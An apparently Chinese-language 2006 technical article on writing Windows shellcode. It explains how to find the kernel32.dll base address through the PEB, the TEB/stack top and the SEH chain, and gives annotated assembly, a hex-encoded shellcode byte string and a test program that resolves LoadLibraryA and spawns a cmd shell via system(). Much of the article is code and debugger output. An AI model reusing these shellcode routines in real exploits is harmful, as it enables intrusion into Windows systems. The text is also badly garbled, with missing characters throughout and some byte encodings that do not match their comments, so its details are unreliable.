WIN下 取kernel基址的shellcode 探讨
gz1X  [ gz1x (at) tom ( dot ) com ]
2006.6.30

[ 什么是shellcode ]
———————————
Shellcode是一个攻击程
(Exploit)的 核心代 码,能够在溢出后改 系统的正常 程,取得系统的 ,是一 些汇 码抽取成的 16进 制码;

[ 经典 溢出攻击 ]
———————————
1.  查找Kernel32.dll基地址;
2.  查找GetProcAddress () 数地址;
3.  查找 它API 数地址;
4.  CreateProcess ()
5.  远程 接。

我们都知
道WINDOWS 的系统功能不像UNIX的系统调 实现, 于WINDOWS版本的不断更 ,使得系统调 对SHELLCODE几 乎起 不到作
但是WINDOWS是
靠DLL 动态链接库 实现,这 是说,如果能从KERNEL32.DLL中 取LoadLibrary () 和GetProcAddress () 数的地址,我们 就可 以调 用WINDOWS 下的所有 数了。
所以我们需要对KERNEL32.DLL
行地址定位,这也是本文的目的。

[ 取KERNEL地址的方法 ]
———————————
1. 通过PEB 取;
2. 通过TOPSTACK - TEB 取;
3. 通过SEH 取;

[ 第三方工具 取基址 ]
———————————
为了方便
审核和 对比结果,我们 用MASM提 供的dumpbin分析本地kernel32.dll的加 地址。如下:

C: \WINDOWS\system32 > dumpbin  / headers kernel32.dll

         
// ...此 省略

看OPTIONAL HEADER VALUES
7C800000  image base, 7C800000即 为本地kernel32.dll的加 地址。
注意是本地的加
地址,在远程目标 ,我们需要额外的技巧 实现kernel32.dll地址的查找, 即PEB , SEH等方法。
当然,为了简单,你也
用Windbg 一个类似noteapad的 执行程 ,ModLoad 很清晰地给出了kernel32.dll的地址。


[ PEB ]
———————————
取KERNEL地址最有效的方法 是通过PEB实现, :PEB kernel base location。
是一个比较常见的 利用PEB获 取kernel32.dll地址的shellcode , 31

———————————————— 
/* 序1                                                 */
004045F4  6A 30              PUSH  30
004045F6       59                 
POP  ECX
004045F7       64 : 8B09            MOV  ECX ,DWORD PTR  FS :[ ECX ]
004045FA       85C9              TEST  ECX , ECX
004045FC       78 0C              JS SHORT  OllyTest.0040460A
004045FE       8B49 0C            MOV  ECX ,DWORD PTR  DS :[ ECX +C]
00404601       8B71 1C            MOV  ESI ,DWORD PTR  DS :[ ECX + 1C ]
00404604        AD                  LODS DWORD PTR  DS :[ ESI ]
00404605       8B48 08            MOV  ECX ,DWORD PTR  DS :[ EAX + 8 ]
00404608        EB  09              JMP SHORT  OllyTest.00404613
0040460A       8B49 34            MOV  ECX ,DWORD PTR  DS :[ ECX + 34 ]
0040460D       8B49 7C            MOV  ECX ,DWORD PTR  DS :[ ECX + 7C ]
00404610       8B49 3C            MOV  ECX ,DWORD PTR  DS :[ ECX + 3C ]
———————————————— 

现在
分析下,PEB方法查找 程如下:
( 1 FS 器  ->  TEB结构;
( 2 TEB + 0x30  ->  PEB结构;
( 3 PEB + 0x0c  ->  PEB_LDR_DATA;
( 4 PEB_LDR_DATA + 0x1c  ->  Ntdll.dll;
( 5 Ntdll.dll + 0x08  ->  Kernel32.dll。
2000 以后的系统中,实际 实现的方法只要很短的几行:
 
mov  eax , fs :[ 30h
 mov 
eax ,[ eax + 0ch
 mov 
esi ,[ eax + 1ch
 lodsd 
 mov 
ebx ,[ eax + 08h
而在程 序1 中涉 9X 系统,所以还有相 转。

先,我们 看看TEB 和PEB 的结构, 利用WINDBG ,调试如下:

0 : 000 > dt  ntdll!_TEB
       
+ 0x000  NtTib                 _NT_TIB
       
+ 0x01c  EnvironmentPointer  Ptr32 Void
       
+ 0x020  ClientId              _CLIENT_ID
       
+ 0x028  ActiveRpcHandle       Ptr32 Void
       
+ 0x02c  ThreadLocalStoragePointer  Ptr32 Void
       
+ 0x030  ProcessEnvironmentBlock  Ptr32 _PEB
       
+ 0x034  LastErrorValue        Uint4B
       
+ 0x038  CountOfOwnedCriticalSections  Uint4B
       
+ 0x03c  CsrClientThread       Ptr32 Void
       
+ 0x040  Win32ThreadInfo       Ptr32 Void
       ...
// 省略
       
+ 0xfac  CurrentTransactionHandle  Ptr32 Void
       
+ 0xfb0  ActiveFrame           Ptr32 _TEB_ACTIVE_FRAME
       
+ 0xfb4  SafeThunkCall         UChar
       
+ 0xfb5  BooleanSpare          : [ 3 UChar


0 : 000 > dt - - r ntdll!_PEB
struct  _PEB 65  elements 0x210  bytes
       
+ 0x000  InheritedAddressSpace  UChar
       
+ 0x001  ReadImageFileExecOptions  UChar
       
+ 0x002  BeingDebugged         UChar
       
+ 0x003  SpareBool             UChar
       
+ 0x004  Mutant                Ptr32 to Void
       
+ 0x008  ImageBaseAddress  Ptr32 to Void
       
+ 0x00c  Ldr                   Ptr32 to  struct  _PEB_LDR_DATA elements 0x28  bytes
          
+ 0x000  Length               :  Uint4B
          
+ 0x004  Initialized           UChar
          
+ 0x008  SsHandle              Ptr32 to Void
          
+ 0x00c  InLoadOrderModuleList  : struct  _LIST_ENTRY elements 0x8  bytes
             
+ 0x000  Flink                 Ptr32 to  struct  _LIST_ENTRY elements 0x8  bytes
             
+ 0x004  Blink                 Ptr32 to  struct  _LIST_ENTRY elements 0x8  bytes
          
+ 0x014  InMemoryOrderModuleList  : struct  _LIST_ENTRY elements 0x8  bytes
             
+ 0x000  Flink                 Ptr32 to  struct  _LIST_ENTRY elements 0x8  bytes
             
+ 0x004  Blink                 Ptr32 to  struct  _LIST_ENTRY elements 0x8  bytes
          
+ 0x01c  InInitializationOrderModuleList  : struct  _LIST_ENTRY elements 0x8  bytes
             
+ 0x000  Flink                 Ptr32 to  struct  _LIST_ENTRY elements 0x8  bytes
             
+ 0x004  Blink                 Ptr32 to  struct  _LIST_ENTRY elements 0x8  bytes
          
+ 0x024  EntryInProgress       Ptr32 to Void
       
+ 0x010  ProcessParameters  Ptr32 to  struct  _RTL_USER_PROCESS_PARAMETERS 28  elements 0x290  bytes
          
+ 0x000  MaximumLength         Uint4B
          
+ 0x004  Length               :  Uint4B
          
+ 0x008  Flags                 Uint4B
          
+ 0x00c  DebugFlags            Uint4B
          
+ 0x010  ConsoleHandle         Ptr32 to Void
          
+ 0x014  ConsoleFlags          Uint4B
          
+ 0x018  StandardInput         Ptr32 to Void
          
+ 0x01c  StandardOutput        Ptr32 to Void
          
+ 0x020  StandardError         Ptr32 to Void
        ... 
// 省略
       
+ 0x1f8  ActivationContextData  Ptr32 to Void
       
+ 0x1fc  ProcessAssemblyStorageMap  Ptr32 to Void
       
+ 0x200  SystemDefaultActivationContextData  Ptr32 to Void
       
+ 0x204  SystemAssemblyStorageMap  Ptr32 to Void
       
+ 0x208  MinimumStackCommit  Uint4B


结合 [ 序1 ] ,有:

PUSH  30
POP  ECX
这句很简单,给 ECX 赋值 30


MOV  ECX ,DWORD PTR  FS :[ ECX ]
FS 0 指向TEB,偏移 30H 的结果是指向PEB。


TEST  ECX , ECX
JS SHORT  OllyTest.0040460A
测试
ECX 9X和NT 断,符号位置位 ( 即test 结果为负 ) 认定为 9X 系统, 行短 转。否 2000 / XP / 2003 系列,接着往下走。


MOV  ECX ,DWORD PTR  DS :[ ECX +C]
MOV 
ESI ,DWORD PTR  DS :[ ECX + 1C ]
LODS DWORD PTR 
DS :[ ESI ]
MOV 
ECX ,DWORD PTR  DS :[ EAX + 8 ]
JMP SHORT 
OllyTest.00404613
DS :[ ECX +C] 指向了PEB_LDR_DATA结构(此结构作 : 当前 间中的模 ), [ ECX + 1C ] 指向InitializationOrderModuleList结构,
这个结构
偏移 8H就 是kernel32.dll的相 。 因为是在NT下实现,所以找到后 JMP 9X 处理 过程。


MOV  ECX ,DWORD PTR  DS :[ ECX + 34 ]
MOV 
ECX ,DWORD PTR  DS :[ ECX + 7C ]
MOV 
ECX ,DWORD PTR  DS :[ ECX + 3C ]
WIN9X下的实现。

于shellcode中不能出现 字符,所以需要采 手段 来进 行赋值等操作,程 序1和 的程 序2 都采 了一 手法 到达目的。


[ PEB ] 扩展
————————
注释部分
示了 一种方法,实际 上就 几句 了个技巧,减少了字 数。

————————————————  
/* 序2                  // 注释采 用C语言 风格 */
xor 
eax eax             // 外一种方法
xor  edx edx             // 自milw0rm
mov  dl 30h              // 数减少了
mov  eax fs :[ edx ]       // 相同
test  eax eax            //add        eax fs :[ eax + 30h ]
js 
for9x                 //js  for9x
      
mov  eax , [ eax + 0Ch
mov 
esi , [ eax + 1Ch
lodsd         
mov 
eax , [ eax + 08h
jmp short 
skip 

for9x
:   
mov 
eax , [ eax + 34h
 lea 
eax , [ eax + 7Ch
 mov 
eax , [ eax + 3Ch

skip :
————————————————  

这是比较保守的
法了,但是也考虑了 0X00 的问
这个抽成的shellcode字
数应该比程 序1 那个 35
光看开
的几句:
xor  eax eax
xor  edx edx
mov  dl 30h
就可
以知 数不少,抽出 来16进 制是:
\x31\xC0
\x31\xD2 
\xB2\x30 
6 个字 序1 的那个:
6A 30              PUSH  30
59               
POP  ECX
相差了 3 个字 节...
完整的 16进 制码如下:
"\x31\xC0"                       /* xor  eax eax            */
"\x31\xD2"                       /* xor  edx edx            */
"\xB2\x30"                       /* mov  dl 30h             */
"\x64\x8B\x02"                   /* mov  eax , [ fs : edx ]      */     
"\x85\xC0"                       /* test  eax eax           */
"\x78\xC0"                       /* js  0Ch                  */
"\x8B\x40\x0C"                   /* mov  eax , [ eax + 0Ch ] */      
"\x8B\x70\x1C"                   /* mov  esi , [ eax + 1Ch ] */
"\xAD"                           /* lodsd                  */
"\x8B\x40\x08"                   /* mov  eax , [ eax + 08h ] */
"\xEB\x07"                       /* jmp short  09h           */
"\x8B\x40\x34"                   /* mov  eax , [ eax + 34h ] */     
"\x8D\x40\x7C"                   /* lea  eax , [ eax + 7Ch ] */
"\x8D\x40\x3C"                   /* mov  eax , [ eax + 3Ch ] */


[
TOPSTACK - TEB ]
————————
本地线程的堆
栈里 偏移 1CH ( 者18H ) 的指针指向kernel32.dll内部,而 fs :[ 0x18 ] 指向当前线程而且往 四个字 指向线程
结合堆
的top pointer 行对 ,找到PE文件 (DLL的文件格 )的 “MZ ”MSDOS标 拿到了kernel32.dll基址。

先从Windbg
查看一下:

0 : 000 > dt - - r _NT_TIB $teb
struct  _NT_TIB elements 0x1c  bytes
       
+ 0x000  ExceptionList         0x0013fd0c  struct  _EXCEPTION_REGISTRATION_RECORD elements 0x8  bytes
          
+ 0x000  Next                  0xffffffff  struct  _EXCEPTION_REGISTRATION_RECORD elements 0x8  bytes
             
+ 0x000  Next                  ???? 
             
+ 0x004  Handler               ???? 
          
+ 0x004  Handler               0x7c92ee18             _EXCEPTION_DISPOSITION      ntdll!_except_handler3 + 0
       
+ 0x004  StackBase             0x00140000 
       
+ 0x008  StackLimit            0x0013e000 
       
+ 0x00c  SubSystemTib          : ( null
       +
0x010  FiberData             0x00001e00 
       
+ 0x010  Version               0x1e00
       
+ 0x014  ArbitraryUserPointer  : ( null
       +
0x018  Self                  0x7ffdf000  struct  _NT_TIB elements 0x1c  bytes
          
+ 0x000  ExceptionList         0x0013fd0c  struct  _EXCEPTION_REGISTRATION_RECORD elements 0x8  bytes
             
+ 0x000  Next                  0xffffffff  struct  _EXCEPTION_REGISTRATION_RECORD elements 0x8  bytes
             
+ 0x004  Handler               0x7c92ee18                _EXCEPTION_DISPOSITION      ntdll!_except_handler3 + 0
          
+ 0x004  StackBase             0x00140000 
          
+ 0x008  StackLimit            0x0013e000 
          
+ 0x00c  SubSystemTib          : ( null
          +
0x010  FiberData             0x00001e00 
          
+ 0x010  Version               0x1e00
          
+ 0x014  ArbitraryUserPointer  : ( null
          +
0x018  Self                  0x7ffdf000  struct  _NT_TIB

+ 0x018  Self是一个指向TEB自己的指针,StackBase指向本线程堆 的原点 , 地址最高 , 0x140000
而StackLimit
指向堆 所在区间的下部边界 , 地址最低 处.

————————————————  
/* 序3                            */
xor 
esi esi
mov  esi fs :[ esi  0x18 ]         // TEB 
mov  eax , [ esi + 4 ]                 // 这个是需要的 顶StackBase,top of the stack
mov  eax , [ eax  0x1c ]            // 指向Kernel32.dll内部 
         
//mov  eax , [ eax  0x18 ]
find_kernel32_base :
dec 
eax                           // 开始遍
xor  ax ax        
cmp word ptr [ eax ],  0x5a4d        // "MZ"
jne  find_kernel32_base            // 环遍 ,找到 返回 eax
————————————————  

为了方便测试,我
了一个PEB / TEB / SEH通 测试 程:

/*  
 *      
序4
 
*       SEH method  test for  Windows  9x / NT / 2k / XP 
 
*       asm return  eax  contained kernel32.dll base address.
 
*       print kernel base address  in  the console.
 
*/ 
__inline __declspec ( naked unsigned  int  GetKernel32 ()
{
      __asm
{
         
push  esi
 
push  ecx

/*       you should replace the follow  section if  you want to  test  the others  */
 xor 
esi esi
 
mov  esi fs :[ esi  0x18 ]      
 mov 
eax , [ esi + 4 ]             
 mov 
eax , [ eax  0x1c ]        
   
 
find_kernel32_base :
 dec 
eax                     
 
xor  ax ax        
 
cmp word ptr [ eax ],  0x5a4d  
 
jne  find_kernel32_base      
/*  Above is the  section  needed to replace  */

 pop 
ecx
 
pop  esi
 
ret
}
}

void main
( void )
{
 printf
( "Kernel base is located at: 0x%0.8X\n" , GetKernel32 ()) ;
}

注意这几句:
1.  mov  eax , [ eax  0x1c ]
一般地,它将指向kernel32.dll内部,你 以在编译器 单步跟踪调试。 中, eax 值为StackBase ( 0x140000 ) ,计算 eax - 0x1c可 0x0013FFE4
在我的
上0x0013FFE4 0x7C839AA8 0x0013FFE8 7C816FE0
时栈 的分布大致如下:
      
...           |
        
0013FFE0         FFFFFFFF  SEH链尾部         // 哦? 有疑问吗?SEH吗 ?
        
0013FFE4  7C839AA8  SEH 处理
        0013FFE8        
7C816FE0  kernel32.7C816FE0
      
00000000  |
      | 
...           |

2.  dec  eax                      
       
xor  ax ax 
这两句的作 用就 是实现页遍 ,单步跟踪结果如下:
0x7C839AA8  ->  0x7C839AA7  ->  0x7C830000  ->  0x7C82FFFF  ->  0x7C820000  ->  ...  ->  0x7C800000 

但是,在不同环境下的堆 不同,如果偏移 1C ( 18 ) 不指向kernel32.dll内部,将导致 取地址失 ,当然这种情况很少发
至少我现在还没遇到过;
一个几率很 的失 现象是 64K 的页边界有 "MZ" 的特征字符出现,这 样可 能会 导得到错 的地址。



[ SEH ]
———————————
WINOWS
一个重要的也是未公开的技术(虽然现在不是什么 技术了) 是SEH(Structured Exception Handling)。
认的异常 处理 (注意是 认的,如果你自己重 了异常 处理 ,卸掉了 认的 处理 ,那么此方法 行不通了。但一般没人这么做...),
它指向kernel32.dll内部,我们要做的
是顺藤摸瓜。
思路是这
的: 里FS [ 0 ] 指向的是SEH链的最内层,为了找到顶层异常 处理 ,我们向外遍 找到prev成 等于 0xffffffff 的EXCEPTION_REGISTER结构,
该结构的handler值
是系统 认的 处理例 程;这 有个细 ,DLL的装 64K 边界对 的,所以需要 利用 到的指向最后的异常 处理 的指针 行页查找,
结合PE文件MSDOS标 部分,只要在每个 64K 边界查找 “MZ ”字符 能找到kernel32.dll基址。

————————————————  
/* 序5                       */
xor 
ecx ecx
mov  esi fs :[ ecx ]

find_seh :
mov 
eax ,[ esi ]                
mov 
esi eax
cmp [ eax ],  ecx
jns  find_seh                  // 0xffffffff
mov  eax , [ eax  0x04 ]        // handler

find_kernel32_base
:
dec 
eax
xor  ax ax
cmp word ptr [ eax ],  0x5a4d
jne  find_kernel32_base
———————————————— 

我们将
[ 序5 ] [ 序4 ] 行跟踪调试,handler指向的地址为 0x7C839AA8 ,页遍 的结果 [ 序4 ] 相同。
0x7C839AA8 这个地址 应该是最后的异常 处理函 数,我们 以从内 存里 看到:

7C839AA8      55 8B  EC  83  EC  08 53 56       U嬱冹.SV
7C839AB0      57 55  FC  8B 5D 0C 8B 45       WU鼖 ] .婨
7C839AB8      08  F7  40 04 06 00 00 00      .鰼.....
7C839AC0      0F 85 
AB  00 00 00 89 45       .叓...塃
7C839AC8       F8  8B 45 10 89 45  FC  8D       鴭E.塃鼚
7C839AD0      45  F8  89 43  FC  8B 73 0C       E鴫 C 鼖s.
7C839AD8      8B 7B 08 53  E8  7A 5E 04       媨.S鑪 ^ .
7C839AE0      00 83  C4  04 0B  C0  74 7B       .兡.. {
... 
// 省略
7C839B78       E8  62 43  FD FF  83  C4  08       鑒C..兡.
7C839B80      5D  B8  01 00 00 00 5D 5F       ] ..... ] _
7C839B88      5E 5B 8B  E5  5D  C3

经典 数类型 码:
 
55         push       ebp
       
8b  ec        mov       ebp esp
       
83  ec  08       sub       esp 08
       53       
push       ebx
       
56        push       esi
       
57        push       edi
 
...
 
5f        pop       edi
       
5e        pop       esi
      
5b        pop       ebx
       
8b  e5        mov       esp ebp
       
5d        pop       ebp
       
c3        ret  

开了TOPSTACK 的疑惑,回 去看 栈里 的内容, 为什么我会注释 上SEH 的字 了, 栈里 的也是 认的异常 处理函 数地址。
从根
源上来 说,TOPSTACK 和SEH 应该是属于一类方法,不过既然实现 有不同,我们也暂且划分成两类吧。



[ shell测试程 ]
———————————
取KERNEL地址的方法介 的差不多了,下 面演 示下结合PE结构 取API的方法得到cmd shell的 程。


/*   
 *      
序6
 
*       Get the cmd shell.
 
*       Coded by gz1x.
 
*/ 
unsigned  int  GetFunc ( unsigned  int  ImageBase , const char * FuncName ,int  flen )

 __asm
 {  
      
mov  eax , ImageBase
      
mov  eax ,[ eax + 0x3c ]  
      add 
eax , ImageBase       // PE header
      
mov  eax ,[ eax + 0x78 ]           // Data_Directory
      
add  eax , ImageBase   
      
mov  esi , eax        // IMAGE_EXPORT_DIRECTORY
      
mov  ecx ,[ eax + 0x18 ]      // NumberOfName 
      
mov  eax ,[ eax + 0x20 ]      // AddressOfName
      
add  eax , ImageBase
      
mov  ebx , eax 
      
xor  edx , edx
 
FindLoop :
      push 
ecx
      
push  esi
      
mov  eax ,[ eax ]
      add 
eax , ImageBase
      
mov  esi , FuncName
      
mov  edi , eax
      
mov  ecx , flen
      
cld
      rep cmpsb       //
compare function
      
pop  esi         //pop  esi  =>  IMAGE_EXPORT_DIRECTORY
      
je       Found 
      
inc  edx 
      
add  ebx , 4
      
mov  eax , ebx
      
pop  ecx
      
loop  FindLoop  
 Found
:
      add 
esp , 4
      
mov  eax , esi
      
mov  eax ,[ eax + 0x1c ]      // AddressOfFunction
      
add  eax , ImageBase  
      
shl  edx , 2
      
add  eax , edx
      
mov  eax ,[ eax ]   
      add 
eax , ImageBase       // eax  return
 }
}

__inline __declspec
( naked unsigned  int  GetKernel32 ()
{
 __asm
 {
          
push  esi
      
push  ecx
      
/*       you should replace the follow  section if  you want to  test  the others  */
      xor 
eax eax        
      
xor  esi esi
      
mov  esi fs :[ esi  0x18 ]     
      mov 
eax , [ esi + 4 ]                       
      mov 
eax , [ eax  0x1c ]        
 
find_kernel32_base :
      dec 
eax                      
      
xor  ax ax
      
cmp word ptr [ eax ],  0x5a4d   
      
jne  find_kernel32_base       
      
/*  Above is the  section  needed to replace  */
      pop 
ecx
      
pop  esi
      
ret
 
}
}

void main
( void )
{
 char risefunc
[]= "cmd" , dll []= "msvcrt" , func []= "system";
 
unsigned  int  loadfun ;
 
loadfun = GetFunc ( GetKernel32 (), "LoadLibraryA" , 12 ) ;

 
__asm
 {
      
lea  eax , dll
      
push  eax
      
call dword ptr  loadfun        // LoadLibraryA ( "msvcrt" ) ;
      
lea  ebx , func
      
push  0x06
      
push  ebx
      
push  eax
      
call  GetFunc                 // GetFunc ([ msvcrt ], "system" , 6 ) ;
      
mov  ebx , eax
      
add  esp , 0x04
      
lea  eax , risefunc
      
push  eax 
      
call  ebx       // system ( "cmd" ) ;
 
}
}

中,GetFunc 数通过PE文件 结构得到输出表的API地址,GetKernel32 数是在介 绍SEH时 给出的 取KERNEL地址的方法。
main
为了测试方便,加 了msvcrt.dll, 中的system 数,从而得到cmd 窗口

本文介
了一 些WINDOWS 平台下kernel基址的 取方法,对于WINDOWS, LOCAL 溢出 没什么大意义,所以要结合
WINSOCK相
行远程溢出, 是在 取kernel基址 填充shellcode 之后 行远程通 将shellcode发送到远程
。这 里WINSOCK函 数的 编码,以 及CreateProcess 编码的细 再阐 述,也超出本文的 论,有 兴趣
不妨参考一
成型的exploit。

*[ 参考资 ]
1.Inside  Microsoft Windows  2000  Third Edition  David A. Solomon Mark E. Russinovich
2. 通往WinDbg的捷径  http :// www.debuginfo.com / articles / easywindbg.html
3.PE 文件格 式 1.9 版  http :// bbs.pediy.com / showthread.php?threadid = 21932
4.35 
byte  PEB method       http :// www.milw0rm.com / exploits / 747
5.metasploit           
:       http :// www.metasploit.com / shellcode.html
6.connectback_v32.c  http :// security.prowork.com.cn / docs / win_Connect_Back_shellcode.html